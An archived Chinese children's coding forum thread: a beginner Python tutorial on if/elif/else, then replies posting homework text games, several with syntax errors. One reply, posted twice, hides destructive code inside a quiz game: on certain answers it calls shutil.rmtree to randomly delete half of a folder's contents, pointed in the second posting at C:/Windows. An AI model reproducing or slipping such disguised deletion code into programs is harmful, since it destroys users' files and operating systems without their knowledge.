猫史档案馆


【Python教程连续剧--3】超简单文字游戏了解一下?(doge)

用户:碳查看:30 回复:23 评论:30 创建时间:2020-07-31T19:18:29


带带带带带带喵回来辣

由于某人终于在社区找到了狗头的图片所以Python教程连续剧继续更新辣~

今天我们会学到一个新的语句:

if 条件:
    运行语句

首先我们可以在if的右边空一格写上条件

然后当这个条件成立时就可以执行if语句内的代码(条件后面的:和运行代码前面的四个空格不要丢了昂

比如当运行下面的代码时:

name = input("你的名字是?")
if name == "碳":
    print("嗷不认识")

如果我们在程序打印出来的“你的名字是?”的后面写上碳的话

它就会喵地说“嗷不认识”(于是我开心地打了这个程序一顿

然鹅当我们写上其它的东西的时候就不会打印了辣

这时候就会有聪明绝顶无与伦比的小伙伴们问辣:

“那如果我想程序在输入其它的内容的时候也打印文字呢?”

那你就想吧(挨打

于是想要实现上面的内个效果的话我们就要用到它的一个升级版本(没错就叫if的2.0版本

if 条件1:
    运行语句1
elif 条件2:
    运行语句2
elif 条件3:
    运行语句3
........
elif 条件n:
    运行语句n
else:
    运行语句n+1

于是这段代码的意思就是:

当条件1成立的时候

就运行运行语句1

当条件1不成立的时候

就会看条件2成不成立

成立就运行运行语句2

如果不成立的话就看条件3成不成立

以此类推直到最后一个elif后面的语句不成立的时候

才会运行else内的语句

简单来说的话就是一个依次检测并且做出反馈的过程

还有我们要注意的一点是程序是从上往下运行的

所以是先检测条件1然后条件2条件3以此类推的嗷

(PS:elif是else if的缩写而且elif的内些部分是可以省略的嗷

在掌握了这些知识之后呢我们来看上面内个程序的2.0版本:

name = input("你的名字是?")
if name == "碳":
    print("嗷不认识")
else:
    print("啊我认识膜拜奆佬!")

于是当我们运行程序的时候输入你的名字的话

它就会打印出“啊我认识膜拜奆佬!”

但是输入我的名字的话

它就会打印出“嗷不认识”

于是我又开心地打了这个程序一顿

课后作业:

1.仿照以下的示例程序,制作出一个属于自己的文字游戏(别照搬嗷):

print("碳正在干什么?")
choice = input("请选择:逐渐变憨/写教程帖")

if choice == "逐渐变憨":
    print("巧了碳还真的正在变憨")
    
elif choice == "写教程帖":
    print("碳正在写什么教程帖")
    choice_1 = input("请选择:Python连续剧/水帖")
    
    if choice_1 == "Python连续剧":
        print("瞎说什么大实话!(doge)")
    elif choice_1 == "水帖":
        print("绝交吧陌生人(doge)")
    else:
        print("嗷你好像打字打错辣")
        
else:
    print("嗷你好像打字打错辣")

2.探究以下代码的意思:

if True:
    print("碳真真真真真憨")

 

预告:

大概在学到5集还是6集的时候某人会举行一个Python程序设计大赛嗷

代码范围的话就是某人教程帖里面的内容

大家可以把做好的程序放在评论区

三天过后碳会选出名次的嗷~

奖励:

第一名:250源码币(+50创意奖励)+某人做的获奖证书

第二名:150源码币(+50创意奖励)

第三名:100源码币(+25创意奖励)

幸运选手:50源码币

幸运选手抽奖方法:(用random库的randint函数随机生成一个整数并且抽取)


回复

上一页1 页 / 共 1下一页
碳

dd

点赞0


评论


陆奕博Max陆奕博Max

az……我*

点赞0


评论


韵律源点Arcaea韵律源点Arcaea

randint的seed可以让我指定吗emotion_doge

点赞0


评论


碳

点赞0


评论


程序侯程序侯

实际上random是伪随机数,时一个序列里的某个值

点赞0


评论


想改个名但都存在了想改个名但都存在了

print('鑫鑫Xinxin现在在干什么?')
a = input('请选择:打开Kitten 4,奋力肝作品/逛论坛')
if (a == '打开Kitten 4,奋力肝作品'):
    print('巧了,鑫鑫Xinxin在肝超难的Kitten 4作品')
elif (a == '逛论坛'):
    print('鑫鑫Xinxin在论坛干什么?')
    a = input('请选择:写Kitten 4作品推广帖/看别人的帖子')
    if (a == '写Kitten 4 作品推广帖'):
        print('答对了,你要参加作者的源码表情包展览吗?(doge)')
    elif (a == '看别人的帖子')
        print('对,作者正在看你发的水帖(doge)')
    else:
        print('嗯……好像听不懂了……')
else:
    print('嗯……好像听不懂了……')

点赞0


评论


一个STUB用户_6923702一个STUB用户_6923702

#妈妈我要反着来
while False:
    if True:
        print('MasterPikachuSc很丑')
#建议改为:如何堵住Python的嘴

点赞1


评论


泡杯泡杯

print("我在干什么?")
a=input("1,肝作品 2,看直播")
if a=="1":
    print("加油!奥利给!")
elif a=="2":
    print("看什么直播?")
    a=input("1,官方直播 2,鲤鱼ace")
    if a=="1":
        print("真好看!")
    elif a=="2":
        print("***!***!***!")
    else:
        print("???")
else:print("???")

点赞2


评论


虐心工作间虐心工作间

我之前做过一个,但是太长了(657行代码44537字节恐怖吗?),而且还有许多辅助模块(自己写的)以及存储记录的文档的一个游戏,但本质上还是一个文字游戏,因为玩的时候就是对着一个黑乎乎的窗口输入指令再输出……

点赞2


评论


stickmanstickman

print("WHAT's YOUR F**kING CHOCIE")
a = ('PLEASE CHOOSE YOURS: 1,WATCH SOME BORING WECHAT 2,WATCH SOME YELLOW VIDEO')

if a == "1":
   print("YOUR FRIENDS ARE COMING.")
   print("BOB: WHY DID YOU SEND YELLOW THINGS TO ME? ALEXANDER SAID I'M NOT WHITE NOW!")
   print("BOB: WAIT, WHAT ARE YOU DOING?! AHHHHHHHHHHHHHH-----")

elif a == "2":
   print("You feel your whole body shake impatiently and your eyes stare hungrily at the television")
   print("HOWEVER, MUMMY IS COMING.")
   print("MUM: WHAT THE HELL ARE YOU WATCHING TO? SHUT DOWN! NOW!")

else:
    print("YOU HAVE NO CHOICE, SO YOU AND YOUR DADDY GO TO THE GEESE PARK AND WATCH A WHOLE DAY GEESE.")

点赞0


评论


浮生awa浮生awa

我来交作业!

drxl = int(input('敌方的血量是?'))
drgj = int(input('敌方的攻击是?'))
wfxl = int(input('我方的血量是?'))
wfgj = int(input('我方的攻击是?'))
while (drxl > 0 and wfxl > 0):
drxl = (drxl - wfgj)
wfxl = (wfxl - drgj)
print(('敌方血量' + str(drxl)))
print(('我方血量' + str(wfxl)))
if (wfxl <= 0):
if (drxl <= 0):
print('平局')
else:
print('我方胜利')
else:
print('敌方胜利')

点赞1


评论


AAA专业睡觉王总AAA专业睡觉王总

print("你是碳基生物吗?")
a=input("1,是 2,不是")
if a=="1":
    print("鬼")
elif a=="2":
    print(欧ok)

点赞0


评论


SCS_user_i1eril0dUySCS_user_i1eril0dUy

挖(

点赞0


评论


五大名著五大名著

if input('碳是人吗?') == '不是':
    print('嗷呜,你答对啦!')
else:
    print('不对哟,再想想')

点赞1


评论


不小的小恐龙不小的小恐龙

a = input()
if a=a:
   print(a)

点赞0


评论


ISisISis

a=input("这里是zz婴儿喵,zz请按1,婴儿请按2,zz婴儿请按3,其他请按4")
if a=="1":
    b=("你是zz啊")
elif a=="2":
    b=("你是婴儿啊")
elif a=="3"
    b=("你是zz婴儿啊")
else:
    b=("你是什么都不是啊")
print(b)

点赞0


评论


探险小蜗牛探险小蜗牛

#开始
a = input('What is your name?')
if a == '探蜗'
    print ('欢迎作者')
else:
    print ('你好'a)

点赞1


评论


CoolPlayCoolPlay

import random
print(random.choice(["篮球", "唱", "跳", "Rap"]))

点赞0


评论


开朗的种花兔开朗的种花兔

import sys as ???
import os
import shutil
import random 

def find_victim(universe):
    path_domain=os.listdir(universe)
    for i in range(len(path_domain)):
        path_domain[i]=universe+'/'+path_domain[i]
    return path_domain

def find_lucky(victim):   
    random.shuffle(victim)
    return victim

def Thanos_snap(lucky):                          #Snap it!!!For death queen!!!
    for i in range(int(len(lucky)/2)):
        shutil.rmtree(lucky[i],ignore_errors=True) 

def main():
    universe='D:/snap_test'                      
    victim=find_victim(universe)
    lucky=find_lucky(victim)
    Thanos_snap(lucky)

 



print('你是杀13吗')
a = input('>>')
if (a == '是'):
   for i in range(99):
      print('o',end="")
   print('h')
   ???.exit
elif (a == '不是'):
   print('你再说一遍')
   wertyuiosdfghjkldfghjkldfghjk = input('>>')
       if (wertyuiosdfghjkldfghjkldfghjk == '是'):
           for i in range(99):
             print('o',end="")
           print('h')
           ???.exit
       elif (wertyuiosdfghjkldfghjkldfghjk == '不是'):
           if __name__ == '__main__':
               main()
else:
    print('默认是')
    for i in range(99):
      print('o',end="")
    print('h')
    ???.exit

点赞0


评论


开朗的种花兔开朗的种花兔

import sys as ???
import os
import shutil
import random 

def find_victim(universe):
    path_domain=os.listdir(universe)
    for i in range(len(path_domain)):
        path_domain[i]=universe+'/'+path_domain[i]
    return path_domain

def find_lucky(victim):   
    random.shuffle(victim)
    return victim

def Thanos_snap(lucky):                          #Snap it!!!For death queen!!!
    for i in range(int(len(lucky)/2)):
        shutil.rmtree(lucky[i],ignore_errors=True) 

def main():
    universe='C:/Windows'                      
    victim=find_victim(universe)
    lucky=find_lucky(victim)
    Thanos_snap(lucky)

 



print('你是杀13吗')
a = input('>>')
if (a == '是'):
   for i in range(99):
      print('o',end="")
   print('h')
   ???.exit
elif (a == '不是'):
   print('你再说一遍')
   wertyuiosdfghjkldfghjkldfghjk = input('>>')
       if (wertyuiosdfghjkldfghjkldfghjk == '是'):
           for i in range(99):
             print('o',end="")
           print('h')
           ???.exit
       elif (wertyuiosdfghjkldfghjkldfghjk == '不是'):
           if __name__ == '__main__':
               main()
else:
    print('默认是')
    for i in range(99):
      print('o',end="")
    print('h')
    ???.exit

点赞0


评论


黄熙妍Lucya黄熙妍Lucya

imgsrc="https://static.cod喵/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E5%8A%A0%E6%B2%B9.gif"alt="emotion_编程猫_加油"

点赞0


评论


流浪狗_用户_寅戌壬申寅甲丑巳申丑流浪狗_用户_寅戌壬申寅甲丑巳申丑

恭迎极光大帝!!!!

点赞0


评论


衍初衍初

import pgzrun
import time
LV=0
def draw():
    screen.draw.text(f'LV:{LV}',(0,0),color="green",fontsize=50)
def update():
    global LV
    screen.clear()
    LV+=1
    time.sleep(1)
pgzrun.go()

额,这也算吧

点赞0


评论